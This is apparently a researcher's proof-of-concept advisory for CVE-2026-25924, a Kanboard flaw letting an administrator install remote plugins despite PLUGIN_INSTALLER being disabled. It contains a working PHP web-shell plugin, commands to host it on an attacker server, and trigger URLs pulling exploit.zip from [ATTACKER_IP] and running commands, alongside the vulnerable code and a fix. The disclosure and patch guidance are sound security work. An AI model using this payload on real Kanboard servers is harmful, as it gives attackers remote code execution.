
Proof-of-concept exploit for CVE-2026-25924, demonstrating administrative remote code execution in Kanboard through a missing access control check on plugin installation.
Proof-of-Concept for Administrative RCE via Security Control Bypass
Disclosure: Originally reported by me via GHSA-grch-p7vf-vc4f
⚠️ Authorized pentesting/research use only.
| Field | Value |
|---|
| CVE ID | CVE-2026-25924 |
| Severity | 🔴 High |
| CVSS Score | 8.4 |
| CVSS Vector | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: Incorrect Authorization |
| Affected Product | Kanboard ≤ 1.2.49 |
| Patched Version | 1.2.50 |
| Advisory | GHSA-grch-p7vf-vc4f |
A security control bypass vulnerability in Kanboard v1.2.49 allows an authenticated administrator to achieve full Remote Code Execution (RCE). Although the application correctly hides the plugin installation interface when the PLUGIN_INSTALLER configuration is set to false, the underlying backend endpoint fails to verify this security setting. An attacker can exploit this oversight to force the server to download and install a malicious plugin, leading to arbitrary code execution.


Kanboard utilizes a security constant PLUGIN_INSTALLER to restrict the ability to install plugins from remote URLs. This is defined in app/constants.php:
File: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
The application correctly checks this setting in the UI rendering methods of the PluginController, such as show() and directory(), using Installer::isConfigured():
File: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
However, the install() method in the same controller fails to perform this check. It only validates the CSRF token before proceeding to download and install a plugin from an arbitrary URL provided in the archive_url parameter.
Vulnerable Code in app/Controller/PluginController.php:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Since Installer::install() does not check the PLUGIN_INSTALLER constant either, an administrator can bypass the intended restriction simply by accessing the endpoint directly with a valid CSRF token. Once installed, the malicious plugin is automatically loaded and executed by the Kanboard\Core\Plugin\Loader, granting the attacker full RCE.
Create a directory named Exploit with a file Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
Compress the folder and host it on an attacker-controlled server:
zip -r exploit.zip Exploit/
python3 -m http.server 80

Log in to Kanboard as an administrator. Obtain your csrf_token from the page source and navigate to:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

Use the cmd parameter to execute arbitrary system commands:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


This vulnerability allows an administrator to bypass host-imposed security restrictions. By achieving RCE, the attacker can:
/etc/passwd, config.php).Add a check for Installer::isConfigured() at the beginning of the install() and update() methods in app/Controller/PluginController.php:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}